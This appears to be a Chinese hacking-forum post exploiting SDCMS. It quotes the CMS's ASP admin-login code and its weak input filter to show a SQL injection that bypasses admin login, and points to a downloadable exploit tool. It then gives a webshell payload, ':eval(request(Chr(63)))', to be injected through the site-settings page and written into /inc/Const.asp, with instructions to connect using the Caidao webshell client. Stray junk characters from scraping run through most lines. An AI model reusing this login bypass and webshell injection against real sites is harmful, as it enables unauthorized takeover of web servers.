作者:T00LS 鬼哥! k$ |; B5 a1 T# r+ x7 P% B- K, H
漏洞文件:后台目录/index.asp
* z" q6 a( Q4 |2 h5 |" _6 C+ t/ G6 ^4 Y8 k1 j( J
Sub Check, A/ f9 ~& E1 h l" [1 f/ X5 B
Dim username,password,code,getcode,Rs% n1 \8 \: A0 ?+ d0 o/ ~& q% |% e
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
$ m, V' n' L$ n: \! T username=FilterText(Trim(Request.Form("username")),1)
) c( r- u6 k1 r& N+ T password=FilterText(Trim(Request.Form("password")),1)$ T0 N: h0 I! J1 Z
code=Trim(Request.Form("yzm"))" ~: w- a6 m) u3 ]7 r0 ^ D% U, [
getcode=Session("SDCMSCode")9 T6 `& T5 h% h+ b& `# u8 C
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died, q9 \: \) v2 R, I4 c$ {, }/ }$ W
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied4 |9 R* m6 @7 }2 B8 m
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
' |) ]- \* t b5 R IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied; L6 h5 S( r! S5 [
IF username="" or password="" Then" u$ |; Z* u3 c$ k- G
Echo "用户名或密码不能为空" ied# `3 k( y1 Q; T; v. [4 D
Else
' F% {- C+ x# ]9 i# M3 u$ { Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
; k. H N6 V2 v1 [' j IF Rs.Eof Then c( f0 H. r6 h6 U& x. Q
AddLog username,GetIp,"登录失败",1
- ^ c5 R" ?, N. u" N6 B Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"% a& F/ l4 l( ?6 k% Q$ q5 @5 ?
Else& t9 o+ w, R" x
Add_Cookies "sdcms_id",Rs(0)- O6 |) h6 s* R
Add_Cookies "sdcms_name",username- N$ n6 k' |5 w9 d$ l2 n. s
Add_Cookies "sdcms_pwd",Rs(2)# y) R$ P7 M7 T* s5 b N
Add_Cookies "sdcms_admin",Rs(3)
, S. g- R2 m+ o f2 { Add_Cookies "sdcms_alllever",Rs(4)* \( ^* y" E" {" a2 q
Add_Cookies "sdcms_infolever",Rs(5)
* m+ a1 p5 e* p5 w Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")5 s1 V& p1 a7 x8 y, w0 V9 u
AddLog username,GetIp,"登录成功",14 }& R/ ~9 @/ K$ q
'自动删除30天前的Log记录; I+ _4 l* L) [" W
IF Sdcms_DataType Then( a) q% C% r- M* U5 ^
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")8 @" [. ?+ e- z4 _" s* n0 X) A
Else4 B8 R$ ]) j3 }! H
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
" E7 g) O9 z9 V) y7 _ End IF8 v% \, n* H2 A2 G
Go("sdcms_index.asp")
, U2 G1 p7 {, A/ y6 M! V End IF
) q- \# M; m# u: x' b& I, w Rs.Close5 ~# W8 a5 a$ Z
Set Rs=Nothing
; r) u: r. w8 N S End IF: C7 S: t; `" Q6 ~
End Sub
" X. {- f$ Q' Q) e7 Z3 G3 u, U& X; u3 P& n3 d6 O, `7 I; \* b7 n+ C
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码4 H+ z0 A) n2 G5 ^ b: W0 o" R
8 D8 `; B7 Y5 @/ O0 X9 T7 T0 I' |
Function FilterText(ByVal t0,ByVal t1). N' q3 ?: a; Q1 w j
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
h) \7 X- x2 k! c$ Q2 W, p$ q( ` t0=Trim(t0)
% h! S8 d5 z$ R Select Case t1
' y+ }2 C( D3 k6 N6 M8 L$ h7 _ Case "1"
% N. h2 c& V5 a: C8 L! _6 d Y/ j t0=Replace(t0,Chr(32),"")
# T* E# n# q1 F' `# p t0=Replace(t0,Chr(13),"")
( c, k! F4 [ [' { t0=Replace(t0,Chr(10)&Chr(10),"")0 i% d0 b) U' H. S4 O6 z
t0=Replace(t0,Chr(10),"")# O5 M% w$ L9 G7 k
Case "2"/ k1 I7 j0 B! g( Q
t0=Replace(t0,Chr(8),"")'回格/ y0 o. t! r* S0 n! P% [
t0=Replace(t0,Chr(9),"")'tab(水平制表符)
) t3 @% ~0 \4 ^ t0=Replace(t0,Chr(10),"")'换行
# L' L, a1 a: Q4 x. t% I* J t0=Replace(t0,Chr(11),"")'tab(垂直制表符). d+ z1 p. U5 ?3 e" K
t0=Replace(t0,Chr(12),"")'换页) n3 A0 J# @: S
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
* M; P! |5 w0 g t0=Replace(t0,Chr(22),"")
* \. O" u. ?& \ t0=Replace(t0,Chr(32),"")'空格 SPACE0 O; h7 `0 M, r5 x
t0=Replace(t0,Chr(33),"")'!
; m3 g5 l9 R8 \8 o9 t t0=Replace(t0,Chr(34),"")'"
" B* i' n9 }) U A& n1 o t0=Replace(t0,Chr(35),"")'#
$ z" `3 ^. i, I8 m t0=Replace(t0,Chr(36),"")'$0 m! x; u) @5 v: u
t0=Replace(t0,Chr(37),"")'%% N" J4 b: m% O: S d4 ^: c& f
t0=Replace(t0,Chr(38),"")'&: N# x, c# e' t, c
t0=Replace(t0,Chr(39),"")''7 t. y% z0 z3 L$ a
t0=Replace(t0,Chr(40),"")'(' {- G& r9 f. H) Z4 h* j8 i
t0=Replace(t0,Chr(41),"")')
n8 e4 P, G5 ?8 x4 E0 r t0=Replace(t0,Chr(42),"")'*" [2 O' V1 @" ]& O+ I% v8 M3 [
t0=Replace(t0,Chr(43),"")'+
2 X9 E; Q' I+ w9 ~ t0=Replace(t0,Chr(44),"")',
: s1 Z+ z F: U6 D3 H, j t0=Replace(t0,Chr(45),"")'-
/ O8 V' P8 i; c) G+ k) U t0=Replace(t0,Chr(46),"")'.) @" S, O2 ?7 c; K1 g2 @/ h) E
t0=Replace(t0,Chr(47),"")'/
9 ]3 w8 e& v# V% n t0=Replace(t0,Chr(58),"")':
$ j/ u% v( G$ I( u7 U9 I t0=Replace(t0,Chr(59),"")';# F, ~! B1 F5 I3 \. u! _
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
% r& ^( k( d B3 u t0=Replace(t0,Chr(63),"")'?2 o0 T% _ o; x
t0=Replace(t0,Chr(64),"")'@
' l4 l* U6 g: i, U0 R t0=Replace(t0,Chr(91),"")'\% Z' i$ Z' G" l+ X0 S! }1 {
t0=Replace(t0,Chr(92),"")'\
, d9 h4 p, z% N& A& I; J7 a t0=Replace(t0,Chr(93),"")']8 p3 J! F- e# z8 ]
t0=Replace(t0,Chr(94),"")'^
9 B) Q8 C6 {: p) L( I# K8 b5 O9 I, p t0=Replace(t0,Chr(95),"")'_
0 P$ J3 G, V j0 O9 ^9 I t0=Replace(t0,Chr(96),"")'`* s4 C" H* S! g9 K& @
t0=Replace(t0,Chr(123),"")'{
( i E. |& u/ o a |' F l t0=Replace(t0,Chr(124),"")'|* p" h% `6 k( F1 _
t0=Replace(t0,Chr(125),"")'}
; ^6 R$ w& }* _* ]: p" l+ r9 S t0=Replace(t0,Chr(126),"")'~
0 B" r7 f9 F$ }$ O Case Else& @6 ?* p; d* O% K
t0=Replace(t0, "&", "&")
/ F' s* S5 j6 X0 C t0=Replace(t0, "'", "'")% ?: _/ d7 a: s6 @2 U6 ~
t0=Replace(t0, """", """)
9 w" R$ @3 B0 H$ } t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")5 }9 c% n2 @+ b% u/ K3 c+ e
End Select9 c. D' B+ t& D0 s d& H
IF Instr(Lcase(t0),"expression")>0 Then
/ G/ C C- h7 Y6 _# F6 V t0=Replace(t0,"expression","e­xpression", 1, -1, 0) w8 Y9 N9 z1 m+ C8 J1 J, ^( Z
End If
% h- F! C) J5 [ FilterText=t0. |% [9 h6 z& l! k, m: C
End Function
2 @5 F" n+ d( @9 [5 K: J/ t6 S& \: Q1 w: S6 r8 H
看到没。直接参数是1 只过滤) ~, p4 o, s5 g3 G+ ^2 n
t0=Replace(t0,Chr(32)," ")" R7 t, i$ x5 }6 h% F% e
t0=Replace(t0,Chr(13),"")
/ j( t d& g* H8 Z& i6 q- s( j* q t0=Replace(t0,Chr(10)&Chr(10),"; w' j, B2 R1 d8 B" j% S
")
( V% U& J- }; ]2 c7 H% u- V t0=Replace(t0,Chr(10),"
: s! A( y6 P3 H6 G- U9 v- d' _/ D")
8 s+ Z. H2 A+ o* P漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!+ J: o& ~3 c% P" G% L0 @; d
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
' K8 B' W* G! n5 @5 T
+ S0 `3 H1 d$ k/ y9 c; Z% \测试:6 q1 M8 i8 g" u* D5 [1 Y
- {7 K& K2 m* v6 L: R: C( |
3 \$ y- l3 [' K; \0 d7 P
现在输入工具上验证码,然后点OK
1 c" o5 k# o M. h) S+ A
, i" @# W, B$ Q6 N/ C
. L* q1 B% V( y: A8 K) |- B看到我们直接进入后台管理界面了,呵呵!
( f; ? O* l: H: a g5 {6 p5 s& I6 R+ t. t7 |" V2 @
3 F+ C ]. g" O+ a" E
% }- s* ^9 @1 X9 r7 r4 W D3 c$ a( k这样直接进入后台了。。。。
; Q9 ? @7 J: F; C. u6 y$ K9 f0 Q' W5 H" o( {
+ M F* p s' B& D6 Q* q8 U. u
$ I& j) f' W: A8 G% P( u3 KSDCMS提权:
( q' F+ _. [& h7 k! h4 M9 P: I' a: v! O, p( \
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?; J% J% b1 @. m8 w$ R5 ?# ~
8 ], s: ~% n" t) `* Y9 V, Y
/ g& @/ d: }$ X" O
x/ g, `1 N$ _. ]OK,现在用菜刀连接下!1 c. s3 z' m4 g. n* L
4 w7 \* z9 u! h3 H" [- q2 ]
4 N# R0 O) f. m# N1 ^9 r/ ~
# G* J3 z1 P# s / L3 u+ O( {; ^/ K
, r' Z7 h' c7 J: W3 x }# m0 \ |